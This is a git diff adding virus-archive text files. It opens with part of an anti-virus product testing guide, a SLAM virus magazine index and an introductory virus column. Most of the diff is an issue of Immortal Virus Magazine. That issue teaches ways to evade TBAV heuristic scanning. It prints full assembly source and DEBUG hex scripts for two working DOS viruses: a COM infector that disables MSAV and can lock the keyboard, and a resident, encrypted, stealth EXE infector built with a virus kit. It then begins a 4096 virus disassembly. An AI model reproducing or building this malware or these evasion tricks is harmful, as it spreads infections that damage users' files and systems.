sector using the +SYS command (see the DOS user's guide for instructions on using +this command). Then execute the check function of the product +you are testing. The product should warn that the new boot +sector is a replacement. +II. Boot modification + Next, re-install the detection product. Then modify the +boot sector randomly using the disk utility. Run the check +routine. The product should warn that the boot sector has been +modified. (When finished with this step, perform the SYS +command again, or use the disk utility to return the boot sector +to its original state). +III. Program deletion + Copy a number of COM and EXE files to a temporary directory +and then delete them from their original directories. Run the +detection check function. The product should identify each of +the missing programs. +IV. Program modification + Next, copy the programs back from the temporary directory to +their original directories. Using your disk utility, modify the +first byte of each of the COM programs. Modify the entire first +500 bytes of the EXE programs. Run the check program. Each +modification should be detected. + At this point you should replace each of the modified +programs from the original programs stored in the temporary +directory. +V. Program replacement + Replace one of the application programs with the origional +program from the program distribution diskette. Then modify the +program as above. The check function should still catch the +modification. +VI. System modification + Using your disk utility, copy COMMAND.COM, IBMBIO.COM and +IBMDOS.COM to backup files. Randomly modify each of the original +files using your disk utility. Change only one byte in each. +Run the check routine to determine that the modifications have +been detected. Perform this step multiple times with different +modifications. + + In addition to the above tests, you should create a +checklist of the product criteria discussed in the previous +section and review such functions as selective protection, +automatic checking, visual warnings and other issues identified. + +Infection Identification products + It is virtually impossible to test these products in the +absence of a real infection, so I will assume that you would be +evaluating such a product in order to rid yourself of an actual +infection. I do not recommend that you obtain samples of real +viruses in order to test these products. + The ultimate test for these products is: Did it identify and +remove the infection, and if so, how thouroughly? Performing the +test is quite simple. + The first steps are to isolate the infected system from all +other systems, and to aquire clean, original copies of the +infected programs. Make working copies of these uninfected +programs onto separate floppy diskettes, one sample program per +diskette. + Insert each floppy in turn into the infected system and run +each sample program. This, in most cases, will cause the +diskette, or the program, to become infected. + Using a disk utility, now do a binary compare of the +infected diskette to the backup copy. If an infection has +occurred, the diskettes will differ. Separate all working copy +diskettes that have been modified by the virus and label them as +infected. + Now run the identification program against each of the +infected floppies. Do this on a clean, uninfected system. The +program should identify the infection on each diskette. Next +cause the program to attempt removal. Run each floppy in turn +through the removal cycle. The program should remove all of the +infections. + To test that the removal worked, take the infected (and now +hopefully disinfected) diskettes and again do a binary compare +against the original backup diskettes. There should be no +discrepancy. + If the program has passed the above tests, it is clearly +able to identify and, at least in test disks, remove the +infection. At this point you should test its operation on the +infected system. To do this, first make a backup copy of the +product. Then load the identification program into the infected +system and begin the identification and disinfection process. + On completion of the operation, perform a disk compare of +the working disk against the original product disk. There should +be no diferences. + In addition to these tests, you should review the criteria +for these products that we discussed in the previous section and +determine such factors as usability and performance. + diff --git a/textfiles.com/virus/index.mag b/textfiles.com/virus/index.mag new file mode 100644 index 00000000..6afbd441 --- /dev/null +++ b/textfiles.com/virus/index.mag @@ -0,0 +1,29 @@ + SLAM January 1997 + ---- + MAGAZINE + ISSUE 1! + --- --- + -*<$The SLAM virus team!$>*- + -*<$The X Document$>*- + +In this SLAM magazine: +---------------------- + SLAM.000 Introduction + SLAM.001 Membership and other info about SLAM + SLAM.002 First info about Macro virii (based on the Concept virus) + SLAM.003 Payloads in macro virii + SLAM.004 Polymorphism in macro virii + SLAM.005 Different stealth techniques in macro virii + SLAM.006 Anti-anti-virus (retro) in macro virii + SLAM.007 How to optimize your macro virus + SLAM.008 ExcelMacro/Laroux virus info + SLAM.009 WordMacro/MooNRaiDer virus + SLAM.010 WordMacro/Outlaw virus + SLAM.011 WordMacro/Puritan (1) virus + SLAM.012 WordMacro/Rapi virus + SLAM.013 Thankz & Greetz + SLAM.014 What's next? + SLAM.015 Decrypt your encrypted macros with this program + + + --- The SLAM Virus Team --- diff --git a/textfiles.com/virus/intro1.cvp b/textfiles.com/virus/intro1.cvp new file mode 100644 index 00000000..8972bca8 --- /dev/null +++ b/textfiles.com/virus/intro1.cvp @@ -0,0 +1,49 @@ +INTRO1.CVP 910701 rev. 911102 + Introduction to Computer Viral Programs Column + +This file/posting/column, and the ones which will follow, are a +weekly column devoted to explaining computer viral type +programs. The material can be roughly divided into the +following topic areas: Introduction (this file), History, +Functions, Protection and Implications. The file names will +reflect this division, beginning with DEF, HIS, FUN, PRT or IMP, +continuing with a further three letter subcategory, as +appropriate, a sequence number, and all ending with CVP. + +The format is intended to be as easy as possible for all mail +systems and terminals to handle. Each "column" will be +approximately one typewritten page in length. + +The material is intended to be "non system specific", and to be +applicable to all type of computer and operating systems. +Examples will be given from many different computers and +operating systems at different times. Readers will note, +however, that much of the material relates to the MS-DOS +"world": IBM compatible microcomputers. This is deliberately +chosen. The "PC" platform demonstrates the concepts that are +common to all computer systems in the clearest manner. + +I retain copyright of this material. Anyone is free to post any +of this material on any publicly accessible electronic bulletin +board or electronic mail system which does not charge for +connect time or data transfer, provided that the files/postings +are posted intact, including my copyright notice, the filename +and date at the beginning and end and my contact addresses. +Anyone wishing to post this material on a commercial system, or +to print it in a book or periodical, please contact me, and I'm +sure we can work something out. + +I am sure that the material will be archived at various servers, +but the one place that I can guarantee the complete set will be +available is on the Cyberstore information system. This is a +commercial system, but is accessible through a local call to a +Datapac or Tymnet node for most people in Canada and the United +States, or indeed for anyone with an X.25/X.75 network. + +Vancouver Usenet: p1@arkham.wimsey.bc.ca +Institute for Internet: Robert_Slade@mtsg.sfu.ca +Research into Cyberstore:Datapac [3020] 8350 1030 +User Snailnet: Canada V7K 2G6 +Security Fidonet: 1:153/915 + +copyright Robert M. Slade, 1991 INTRO1.CVP 910701 rev. 911102 \ No newline at end of file diff --git a/textfiles.com/virus/ivm-95.1 b/textfiles.com/virus/ivm-95.1 new file mode 100644 index 00000000..129da8d0 --- /dev/null +++ b/textfiles.com/virus/ivm-95.1 @@ -0,0 +1,3376 @@ +------------------------------Immortal Virus Magazine------------------------- +-----------------------------------Issue 95.1---------------------------------- +-----------------------------TBAV fooling techiniques-------------------------- + +The heuristic scans we will discuss are: + + - F : Suspicious file-access + - S : Search for .EXE / .COM files + - D : Direct disk access + - # : Encryption and/or debugger trap + - G : Grabage instructions + - E : Flexible entrypoint +------------------------------------------------------------------------------- +- F : Suspicious file-access + + There are different ways to fool TBAV on this one. +1.) The easiest way is to add 10 or something at the MOVe instruction + and then SUBstract 10: TBAV will think you use the original MOVe. + e.g: MOV AH, 50h + SUB AH, 10h ;50h will turn into 40h Dos fnc: Write + INT 21h + +2.) This is a bit tougher, you redirect int 21h to some other unused + interrupt. There is no need to unlink the new interrupt. + + e.g: MOV AX, 3521h ;Get dos int address in ES:BX + INT 21H + PUSH ES ;DS == ES + POP DS + MOV AX, 2560h ;Int 60H will become int 21h + INT 21h + MOV AH, 40h ;Dos fnc: Write + INT 60h ;The new interrupt +------------------------------------------------------------------------------- +- S : Search for .EXE / .COM files + + There are again a few ways to fool TBAV on this one. +1.) Somewhere in your virus is a filespec (e.g. '*.COM'), just change the + '*' into something else ('Z.COM') and when the function 3Fh or something + is called change it to a '*' again, afterwards change it to a 'Z' again. + + e.g: MOV BYTE PTR [FSPC+BP],'*' + MOV AX,3F00h + INT 21h + MOV BYTE PTR [FSPC+BP],'Z' + + FSPC DB 'Z.COM',0 + +2.) You can also use the first technique about hiding the 'F' flag. +------------------------------------------------------------------------------- +- D : Direct disk access + + Once again there are a few ways to let TBAV eat his 'D' flag. +1.) Change the INT 26h realtime: Create a label or something and put + an int 21h or something, and change it to int 26h in your virus. + + e.g. MOV BYTE PTR [I26L+1+BP],26h ;Change INT 21h to INT 26h + I26L: INT 21h ;Here will be the INT 26h + MOV BYTE PTR [I26L+1+BP],21h ;Change INT 26h to INT 21h + +2.) You can also use the second technique about hiding the 'F' flag. +------------------------------------------------------------------------------- +- # : Encryption and/or debugger trap + + Once again there are several ways to shit TBAV. +1.) For a debugger trap you can use the first techinique about the 'F' flag. +2.) Use an unlogic call stucture. First CALL the decryption routine, then + JuMP to the main virus. + + e.g. CALL DC ;Call your decryption routine + JMP ST ;JuMP to the start of your virus + NOP ;To fool TBAV + ST: . ;Put your virus here + . + . + DC: RET ;Put the decryption routine here! +------------------------------------------------------------------------------- +- G : Garbage instructions + + There's one thing to do to get rid of this flag. + OPTIMIZE! + e.g. You can turn turn two nops into two eXCHanGes: + NOP + NOP + will be: + XCHG AX,BX + XCHG CX,AX + or something like that. + You can also put often used routines in a CALL routine (e.g. Get Time,etc) +------------------------------------------------------------------------------- +- E : Flexible entry-point + + There are many ways to avoid this, the best one is to put this little + routine at the beginning of your virus: + + XCHG AX,BX ;Avoid 'G' & 'E' flags + XCHG CX,AX + CALL DELTA + DELTA: POP BP + SUB BP, OFFSET DELTA + + Entrypoint will be in BP +------------------------------------------------------------------------------- +By: [Hacking Hell]------------------------------Immortal Virus Magazine------------------------- +-----------------------------------Issue 95.1---------------------------------- +--------------------------The basics of a .COM infector------------------------ + +We'll begin with the search .COM routine of a virus. + The best way is to to use function 4Eh & 4Fh. +- Function 4Eh Find First file + Inputs: It needs a DTA set. + DS:DX = Filespec + BX = Attribute + Outputs: DTA + 1Eh = Filename + 0 byte +- Function 4Fh Find next file + Inputs: By function 4Eh or 4Fh pre-initiated DTA + Outputs: DTA + 1Eh = Filename + 0 byte + +Now, the implementation technique. + I think the best way is to make a four byte jump table and an original bytes + table, the jump table exists out of an 0E9h byte, two 00h bytes and an + identification byte (eg. DB 0E9h,00h,00h,'C'), in the original bytes + table the first four bytes will be stored. First read the original bytes, + store then in the org. bytes table, append then virus at the end, calculate + the jump offset, place them in the jump table, write the jump table at the + beginning of the victim file. + +- Function 3Dh Open file + Inputs: AL = Mode ( 02h = Random access ) + DS:DX = Filename ( eg. DTA + 1Eh ) + Outputs: AX = File-handle ( eXCHanGe to BX for other functions ) + +- Function 3Fh Read from file + Inputs: CX = Bytes to read + DS:DX = Destination of read + BX = File-handle + +- Function 42h Set file-pointer + AL = Mode ( 00h = From SOF / 02h = From EOF) + DX:CX = Offset in file (0:0 for SOF / EOF) + +- Function 40h Write into file + CX = Bytes to write + DS:DX = Offset of data to write + BX = File-handle + +- Function 3Eh Close file + BX = File-handle + + Now here follows the assembly source and a debug script of the Conjurer Basic + virus, created by [Hacking Hell] & [Cyborg], it's 270 bytes large and a good + example virus for the techniques you may have learned... + +-------------------------------------------------------------------------- +; Conjurer.BASIC virus... + +%OUT CoNJuReR.BASIC virus by [Hacking Hell] & [Cyborg] +%OUT Appending non-descructive non-resident non-flagged virus. +%OUT Features: +%OUT - Anti trace meganism +%OUT - 99% TBAV proof (almost no flags) +%OUT - Traversal (DotDot technique) +%OUT - Little message +%OUT - 13% chance for a keyboard lock + +.model tiny +.code + + ORG 100h ;COM file remember?!? + +dummy: db 0e9h,02h,00h ;The dummy host: jump to START + db 'C' ;Already infected marker + ret ;Exit from dummy + +start: push cx ;Some junk to fool TBAV + pop bx + + mov ax,0fa01h ;Let's take down MSAV!!! + mov dx,05945h + int 16h + + call getdlt ;Nice way to get delta offset! +realst: +getdlt: pop bp + sub bp, offset getdlt + call encdec + jmp codest + + nop ;TBAV eats '#' + +codest: lea si,[orgbts+bp] ;Restore first 4 bytes + mov di,0100h + movsw + movsw + + push cs ;DS <==> CS + pop ds + + lea dx,[eov+bp] ;Set DTA address + mov ah,1ah + int 21h + + mov ax,3501h ;Crash INT 1 + sub ah,10h + mov bx,0000h + mov es,bx + int 21h + + mov al,03h ;Crash INT 3 + int 21h + + mov ah,2ch ;13% chance to lock keyboard! + int 21h + cmp dl, 0dh + jg nolock + +lockkb: mov al,82h ;Keyboard lock! + out 21h,al + +nolock: mov ah,2ch ;50% chance to print message! + int 21h + cmp dl,32h + jl spread + + mov ah,09h ;Bingo! print message! + lea dx, [bp+offset welcome] + int 21h + mov ah,00h ;Wait for a key! + int 16h + jmp spread + +welcome db 'CoNJuReR.BSC!',07h,0ah,0dh,'$';Ever seen a DB in the middle of a file? + +spread: mov byte ptr [infcnt+bp],0 +spraed: mov ah,4eh ;Findfirst + lea dx,[fspec+bp] ;Filespec=*.COM + +fnext: cmp byte ptr [infcnt+bp],5 + je re_dta + + int 21h + jc dotdot ;No files found + call infect + +nextf: mov ah,4fh ;Find next file + jmp fnext + +dotdot: lea dx,[offset dotspec+bp] + mov ax,3b00h + int 21h + jnc spraed + +re_dta: mov ah,1ah ;Reset DTA + mov dx,0080h + int 21h + + mov di,0100h ;Return control to original file! + push di + ret + + +fspec db '*.com',0 +infcnt db 0 +dotspec db '..',0 +jmptbl db 0e9h,02h,00h,'C' +orgbts: db 90h,90h,90h,90h +eoe: +infect: lea dx,[eov+1eh+bp] ;Open file + mov ax,3d02h + int 21h + + jc nextf ;Error opening file, next! + + xchg bx,ax + + mov cx,0004h ;Read first 4 bytes for check + mov ah,3fh ; if already infected! + lea dx,[orgbts+bp] + int 21h + + cmp byte ptr [orgbts+bp+3],'C' ;Already infected + jz shutit + + mov ax,4202h ;Goto eof + sub cx,cx ;2 byte version of mov cx,0!! + cwd ;1 byte version of mov dx,0!! + int 21h + + sub ax,0003h ;Use our jmp table + mov word ptr [bp+jmptbl+1],ax + + mov ah,40h ;Implend our viral code into victim + mov cx,eov-start + lea dx,[bp+start] + int 21h + + mov ax,4200h ;Goto SOF + sub cx,cx + cwd + int 21h + + mov ah,40h ;Write first four bytes over + mov cx,0004h ; the original + lea dx,[bp+jmptbl] + int 21h + + inc byte ptr [infcnt+bp] + +shutit: mov ah,3eh ;Close victim + int 21h + ret +encdec: ret ;No encryption support yet... +eov: +end dummy +------------------------------------------------------------------------- +Now the DEBUG script for all of you who don't have an assembler! +------------------------------------------------------------------------- +N CONJURER.COM +E 0100 E9 02 00 43 C3 51 5B B8 01 FA BA 45 59 CD 16 E8 +E 0110 00 00 5D 81 ED 12 01 E8 F8 00 EB 02 90 90 8D B6 +E 0120 BA 01 BF 00 01 A5 A5 0E 1F 8D 96 13 02 B4 1A CD +E 0130 21 B8 01 35 80 EC 10 BB 00 00 8E C3 CD 21 B0 03 +E 0140 CD 21 B4 2C CD 21 80 FA 0D 7F 04 B0 82 E6 21 B4 +E 0150 2C CD 21 80 FA 32 7C 20 B4 09 8D 96 67 01 CD 21 +E 0160 B4 00 CD 16 EB 12 90 43 6F 4E 4A 75 52 65 52 2E +E 0170 42 53 43 21 07 0A 0D 24 C6 86 B2 01 00 B4 4E 8D +E 0180 96 AC 01 80 BE B2 01 05 74 16 CD 21 72 07 E8 2D +E 0190 00 B4 4F EB EE 8D 96 B3 01 B8 00 3B CD 21 73 DD +E 01A0 B4 1A BA 80 00 CD 21 BF 00 01 57 C3 2A 2E 63 6F +E 01B0 6D 00 00 2E 2E 00 E9 02 00 43 90 90 90 90 8D 96 +E 01C0 31 02 B8 02 3D CD 21 72 C8 93 B9 04 00 B4 3F 8D +E 01D0 96 BA 01 CD 21 80 BE BD 01 43 74 31 B8 02 42 2B +E 01E0 C9 99 CD 21 2D 03 00 89 86 B7 01 B4 40 B9 0E 01 +E 01F0 8D 96 05 01 CD 21 B8 00 42 2B C9 99 CD 21 B4 40 +E 0200 B9 04 00 8D 96 B6 01 CD 21 FE 86 B2 01 B4 3E CD +E 0210 21 C3 C3 + +RCX +113 +W +Q +------------------------------------------------------------------------- +------------------------------------------------------------------------------ + +By: [Hacking Hell]------------------------------Immortal Virus Magazine-------------------------- +-----------------------------------Issue 95.1---------------------------------- +-----------------------------------Virus Labs---------------------------------- + + In this section I will test a Virus Lab, this section will return every + issue. + In this issue: + +Biological Warfare v0.90� by MnemoniX + +Some features of this great package: + + Resident + + Encryption + + (Extended) dir stealth + + COM and/or EXE infections + + Int 24h handler + + Anti - Trace code + + Traverse directory + + Infections per run can be set to unlimited + + Check for COM size + + Check for COMMAND.COM + + Random .EXE marker + + .EXE overlay check + +Some weaknesses about Biological Warfare: + - 'Log-in' password + - Easy to detect + - No 'configuration files' + +The viruses can be made resident, when they are, you can make it infect files + on: Execution and/or opening of .COM / .EXE files. The encryption is pretty + good. The anti-trace code works. There really is not much to say about this + wonderfull package! Version 1.00 also has a polymorphic engine! + + Score: 8.7 +Btw. The log-in password is Lo-Tek +-------------------------------------------------------------------------- +; Here is an example of a virus created by Biological Warefare: +; Features: +; - TSR +; - EXE infector +; - Extended DIR stealth +; - Encrypted +; - Spread on execution of virus +;Have Fun! +; IVM-Vir.ASM : Download IVM, it's a good magazine (WHQ: +31 (0)77-547477) +; Created with Biological Warfare - Version 0.90� by MnemoniX + +PING equ 0EA93h +PONG equ 080Eh +STAMP equ 25 +MARKER equ 04945h + +code segment + org 0 + assume cs:code,ds:code + +start: + db 0E9h,3,0 ; to virus +host: + db 0CDh,20h,0 ; host program +virus_begin: + + db 0BBh ; decryption module +code_offset dw offset virus_code + mov di,VIRUS_SIZE / 2 + 1 + +decrypt: + db 02Eh,081h,2Fh ; SUB CS:[BX] +cipher dw 0 + inc bx + inc bx + dec di + jnz decrypt + + +virus_code: + call $ + 3 ; BP is instruction ptr. + pop bp + sub bp,offset $ - 1 + + push ds es + + cli + mov ax,PING ; mild anti-trace code + push ax + pop ax + dec sp + dec sp + pop bx + cmp ax,bx + je no_trace + hlt + +no_trace: + sti + in al,21h ; lock out & reopen keyboard + xor al,2 + out 21h,al + xor al,2 + out 21h,al + + mov ax,PING ; test for residency + int 21h + cmp dx,PONG + je installed + + mov ax,es ; Get PSP + dec ax + mov ds,ax ; Get MCB + + sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64 + sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64 + mov es,word ptr ds:[12h] + + push cs ; copy virus into memory + pop ds + xor di,di + mov si,bp + mov cx,(virus_end - start) / 2 + 1 + rep movsw + + xor ax,ax ; capture interrupts + mov ds,ax + + sub word ptr ds:[413h],(MEM_SIZE+1023) / 1024 + + mov si,21h * 4 ; get original int 21 + mov di,offset old_int_21 + movsw + movsw + + mov word ptr ds:[si - 4],offset new_int_21 + mov ds:[si - 2],es ; and set new int 21 + +installed: + call activate ; activation routine + + pop es ds ; restore segregs +exe_exit: + mov ax,ds ; fix up return address + add ax,10h + push ax + add ax,cs:[bp + exe_cs] + mov cs:[bp + return_cs],ax + + mov ax,cs:[bp + exe_ip] + mov cs:[bp + return_ip],ax + + pop ax + add ax,cs:[bp + exe_ss] ; restore stack + cli + mov ss,ax + mov sp,cs:[bp + exe_sp] + + call fix_regs ; fix up registers + sti + + db 0EAh ; back to host program +return_ip dw 0 +return_cs dw 0 + +exe_cs dw -16 ; orig CS:IP +exe_ip dw 103h +exe_sp dw -2 ; orig SS:SP +exe_ss dw -16 + +fix_regs: + xor ax,ax + cwd + xor bx,bx + mov si,100h + xor di,di + xor bp,bp + ret + +; interrupt 21 handler +int_21: + pushf + call dword ptr cs:[old_int_21] + ret + +new_int_21: + cmp ax,PING ; residency test + je ping_pong + cmp ah,11h ; directory stealth + je dir_stealth + cmp ah,12h + je dir_stealth + cmp ah,4Eh ; directory stealth + je dir_stealth_2 + cmp ah,4Fh + je dir_stealth_2 + cmp ax,4B00h ; execute program + jne int_21_exit + jmp execute +int_21_exit: + db 0EAh ; never mind ... +old_int_21 dd 0 + +ping_pong: + mov dx,PONG + iret + +dir_stealth: + call int_21 ; get dir entry + test al,al + js dir_stealth_done + + push ax bx es + mov ah,2Fh + int 21h + + cmp byte ptr es:[bx],-1 ; check for extended FCB + jne no_ext_FCB + add bx,7 +no_ext_FCB: + mov ax,es:[bx + 17h] ; check for infection marker + and al,31 + cmp al,STAMP + jne dir_fixed + + sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 3 + sbb word ptr es:[bx + 1Fh],0 +dir_fixed: + pop es bx ax +dir_stealth_done: + iret + +dir_stealth_2: + pushf + call dword ptr cs:[old_int_21] + jc dir_stealth_done_2 + +check_infect2: + push ax bx es + + mov ah,2Fh + int 21h + mov ax,es:[bx + 16h] + and al,31 ; check timestamp + cmp al,STAMP + jne fixed_2 + + sub es:[bx + 1Ah],VIRUS_SIZE + 3 + sbb word ptr es:[bx + 1Ch],0 + +fixed_2: + pop es bx ax + clc ; clear carry +dir_stealth_done_2: + retf 2 +execute: + push ax bx cx dx si di ds es + + xor ax,ax ; critical error handler + mov es,ax ; routine - catch int 24 + mov es:[24h * 4],offset int_24 + mov es:[24h * 4 + 2],cs + + mov ax,4300h ; change attributes + int 21h + + push cx dx ds + xor cx,cx + call set_attributes + + mov ax,3D02h ; open file + int 21h + jc cant_open + xchg bx,ax + + push cs ; CS = DS + pop ds + + mov ax,5700h ; save file date/time + int 21h + push cx dx + mov ah,3Fh + mov cx,28 + mov dx,offset read_buffer + int 21h + + cmp word ptr read_buffer,'ZM' ; .EXE? + je infect_exe ; yes, infect as .EXE + + jmp dont_infect + +fix_date_time: + pop dx cx + and cl,-32 ; add time stamp + or cl,STAMP ; for directory stealth + mov ax,5701h ; restore file date/time + int 21h + +close: + pop ds dx cx ; restore attributes + call set_attributes + + mov ah,3Eh ; close file + int 21h + +cant_open: + pop es ds di si dx cx bx ax + jmp int_21_exit ; leave + + +set_attributes: + mov ax,4301h + int 21h + ret + +dont_infect: + pop cx dx ; can't infect, skip + jmp close + +infect_exe: + cmp word ptr read_buffer[26],0 + jne dont_infect ; overlay, don't infect + + cmp word ptr read_buffer[16],MARKER + je dont_infect ; infected already + + les ax,dword ptr read_buffer[20] + mov exe_cs,es ; CS + mov exe_ip,ax ; IP + + les ax,dword ptr read_buffer[14] + mov exe_ss,ax ; SS + mov exe_sp,es ; SP + mov word ptr read_buffer[16],MARKER + + mov ax,4202h ; to end of file + cwd + xor cx,cx + int 21h + + push ax dx ; save file size + + push bx + mov cl,12 ; calculate offsets for CS + shl dx,cl ; and IP + mov bx,ax + mov cl,4 + shr bx,cl + add dx,bx + and ax,15 + pop bx + + sub dx,word ptr read_buffer[8] + mov word ptr read_buffer[22],dx + mov word ptr read_buffer[20],ax + add dx,100 + mov word ptr read_buffer[14],dx + + pop dx ax ; calculate prog size + + add ax,VIRUS_SIZE + 3 + adc dx,0 + mov cx,512 ; in pages + div cx ; then save results + inc ax + mov word ptr read_buffer[2],dx + mov word ptr read_buffer[4],ax + mov dx,word ptr read_buffer[20] + call encrypt_code ; encrypt virus + + + mov ah,40h + mov cx,VIRUS_SIZE + 3 + mov dx,offset encrypt_buffer + int 21h + + + mov ax,4200h ; back to beginning + cwd + xor cx,cx + int 21h + + mov ah,40h ; and fix up header + mov cx,28 + mov dx,offset read_buffer + int 21h + jmp fix_date_time ; done + +courtesy_of db '[BW]',0 +signature db 'Download IVM, its a good magazine (WHQ: +31 (0)77-547477)',0 +birthday db 'Happy birthday [Hacking Hell] !!',0Ah,0Dh,'$',0 + +activate: mov ah,2ah + cmp dx,0B08h + jne exit_act + mov ah, 09h + lea dx, [offset birthday+bp] + int 21h + ; Insert your routine here +exit_act: ret + +encrypt_code: + push ax cx + + push dx + xor ah,ah ; get time for random number + int 1Ah + + mov cipher,dx ; save encryption key + pop cx + add cx,virus_code - virus_begin + mov code_offset,cx ; save code offset + + push cs ; ES = CS + pop es + + mov si,offset virus_begin ; move decryption module + mov di,offset encrypt_buffer + mov cx,virus_code - virus_begin + rep movsb + + mov cx,VIRUS_SIZE / 2 + 1 +encrypt: + lodsw ; encrypt virus code + add ax,dx + stosw + loop encrypt + + pop cx ax + ret + +int_24: + mov al,3 ; int 24 handler + iret +virus_end: +VIRUS_SIZE equ virus_end - virus_begin +read_buffer db 28 dup (?) ; read buffer +encrypt_buffer db VIRUS_SIZE dup (?) ; encryption buffer + +end_heap: + +MEM_SIZE equ end_heap - start + +code ends + end start +-------------------------------------------------------------------------- +N IVM-VIR.COM +E 0100 E9 03 00 CD 20 00 BB 16 00 BF 80 01 2E 81 2F 00 +E 0110 00 43 43 4F 75 F6 E8 00 00 5D 81 ED 19 00 1E 06 +E 0120 FA B8 93 EA 50 58 4C 4C 5B 3B C3 74 01 F4 FB E4 +E 0130 21 34 02 E6 21 34 02 E6 21 B8 93 EA CD 21 81 FA +E 0140 0E 08 74 3A 8C C0 48 8E D8 81 2E 03 00 80 00 81 +E 0150 2E 12 00 80 00 8E 06 12 00 0E 1F 33 FF 8B F5 B9 +E 0160 83 01 F3 A5 33 C0 8E D8 83 2E 13 04 02 90 BE 84 +E 0170 00 BF F2 00 A5 A5 C7 44 FC D0 00 8C 44 FE E8 43 +E 0180 02 07 1F 8C D8 05 10 00 50 2E 03 86 B4 00 2E 89 +E 0190 86 B2 00 2E 8B 86 B6 00 2E 89 86 B0 00 58 2E 03 +E 01A0 86 BA 00 FA 8E D0 2E 8B A6 B8 00 E8 0E 00 FB EA +E 01B0 00 00 00 00 F0 FF 03 01 FE FF F0 FF 33 C0 99 33 +E 01C0 DB BE 00 01 33 FF 33 ED C3 9C 2E FF 1E F2 00 C3 +E 01D0 3D 93 EA 74 21 80 FC 11 74 20 80 FC 12 74 1B 80 +E 01E0 FC 4E 74 46 80 FC 4F 74 41 3D 00 4B 75 03 EB 65 +E 01F0 90 EA 00 00 00 00 BA 0E 08 CF E8 CC FF 84 C0 78 +E 0200 28 50 53 06 B4 2F CD 21 26 80 3F FF 75 03 83 C3 +E 0210 07 26 8B 47 17 24 1F 3C 19 75 0B 26 81 6F 1D 01 +E 0220 03 26 83 5F 1F 00 07 5B 58 CF 9C 2E FF 1E F2 00 +E 0230 72 20 50 53 06 B4 2F CD 21 26 8B 47 16 24 1F 3C +E 0240 19 75 0B 26 81 6F 1A 01 03 26 83 5F 1C 00 07 5B +E 0250 58 F8 CA 02 00 50 53 51 52 56 57 1E 06 33 C0 8E +E 0260 C0 26 C7 06 90 00 01 03 26 8C 0E 92 00 B8 00 43 +E 0270 CD 21 51 52 1E 33 C9 E8 48 00 B8 02 3D CD 21 72 +E 0280 36 93 0E 1F B8 00 57 CD 21 51 52 B4 3F B9 1C 00 +E 0290 BA 04 03 CD 21 81 3E 04 03 4D 5A 74 2F EB 29 90 +E 02A0 5A 59 80 E1 E0 80 C9 19 B8 01 57 CD 21 1F 5A 59 +E 02B0 E8 0F 00 B4 3E CD 21 07 1F 5F 5E 5A 59 5B 58 E9 +E 02C0 2F FF B8 01 43 CD 21 C3 59 5A EB E1 83 3E 1E 03 +E 02D0 00 75 F5 81 3E 14 03 45 49 74 ED C4 06 18 03 8C +E 02E0 06 B4 00 A3 B6 00 C4 06 12 03 A3 BA 00 8C 06 B8 +E 02F0 00 C7 06 14 03 45 49 B8 02 42 99 33 C9 CD 21 50 +E 0300 52 53 B1 0C D3 E2 8B D8 B1 04 D3 EB 03 D3 25 0F +E 0310 00 5B 2B 16 0C 03 89 16 1A 03 A3 18 03 83 C2 64 +E 0320 89 16 12 03 5A 58 05 01 03 90 83 D2 00 B9 00 02 +E 0330 F7 F1 40 89 16 06 03 A3 08 03 8B 16 18 03 E8 94 +E 0340 00 B4 40 B9 01 03 90 BA 20 03 CD 21 B8 00 42 99 +E 0350 33 C9 CD 21 B4 40 B9 1C 00 BA 04 03 CD 21 E9 3F +E 0360 FF 5B 42 57 5D 00 44 6F 77 6E 6C 6F 61 64 20 49 +E 0370 56 4D 2C 20 69 74 73 20 61 20 67 6F 6F 64 20 6D +E 0380 61 67 61 7A 69 6E 65 20 28 57 48 51 3A 20 2B 33 +E 0390 31 20 28 30 29 37 37 2D 35 34 37 34 37 37 29 00 +E 03A0 48 61 70 70 79 20 62 69 72 74 68 64 61 79 20 5B +E 03B0 48 61 63 6B 69 6E 67 20 48 65 6C 6C 5D 20 21 21 +E 03C0 0A 0D 24 00 B4 2A 81 FA 08 0B 75 08 B4 09 8D 96 +E 03D0 A0 02 CD 21 C3 50 51 52 32 E4 CD 1A 89 16 0F 00 +E 03E0 59 83 C1 10 89 0E 07 00 0E 07 BE 06 00 BF 20 03 +E 03F0 B9 10 00 F3 A4 B9 80 01 AD 03 C2 AB E2 FA 59 58 +E 0400 C3 B0 03 CF +RCX +0304 +W +Q +-------------------------------------------------------------------------- + By: [Hacking Hell]------------------------------Immortal Virus Magazine-------------------------- +-----------------------------------Issue 95.1---------------------------------- +--------------------------------Other Virus Mags------------------------------- + +In this issue: 40-HEX by Phalcon/Skism (Creators of PS-MPC). + +This magazine is really OK. It contains a lot of USEFULL information, a lot + of virus sources / spotlights / hex-scripts, the creators put their own + PS-MPC 0.90� in issue 8, that was really k00l! My main interrests in 40HEX + are most of the time the virus sources, you can get some k00l ideas out of + that. They use the normal english / american language instead of some + funky written language. + +- The virus spotlights contain various information on a specific virus, + just like our spotlights. + +- The virus sources / scripts are mostly direct compilable / debuggable, + so you don't have to write your own stuff in it, that's really k00l! + +- 40-HEX 1 / 14 are available on our (and many other's) WHQ: + + Arrested Development: +31 77-547477 + +Written by: The FOXMan------------------------------Immortal Virus Magazine-------------------------- +-----------------------------------Issue 95.1---------------------------------- +------------------------------Spotlight: 4096 / Frodo-------------------------- + +Isolated: January, 1990 +Origin : Israel +Type : Parasitic Memory-Resident .COM and .EXE infector +Symptoms: A lot of cross-linked files, decrease of free memory, + when not loaded increase of file-size. + +This huge virus was pretty smart for its time, the virus places itselve in + (high-) memory and uses a basic tunneling technique, it infects both .COM + and .EXE files, it infects on execution of .COM and .EXE files, the virus + contains a bootsector, altough this will not be written in any way onto + a disk (Patricia Hoffman says there is a bug in the virus!), if the boot- + sector is written manually to the disk, a message will appear on loading: + 'FRODO LIVES', On 22 september your system will hang (Or is this the + bug?!?) this is the birthday of Bilbo and Frodo Braggin in The Lord Of The + Rings by Tolkien (Maybe the author of 4096 was a very big fan!). Also the + virus slowly crosslinks files on your harddisk, so the files will be + permanently damaged! The virus is stealth, and when the virus is loaded into + memory the filesize growth will not be seen! + +-------------------------------------------------------------------------- + +_4096 segment byte public + assume cs:_4096, ds:_4096 + +; 4096 Virus disassembly by Phalcon/Skism, used in IVM-95-1 +; Download IVM-95 it's a very good virus-magazine! +; Our WHQ: Arrested Development: +31 (0)77-547477 +; Parasitic memory resident .COM and .EXE infector. + org 0 +startvirus: + db 0 + jmp installvirus +oldheader: ; original 1Ch 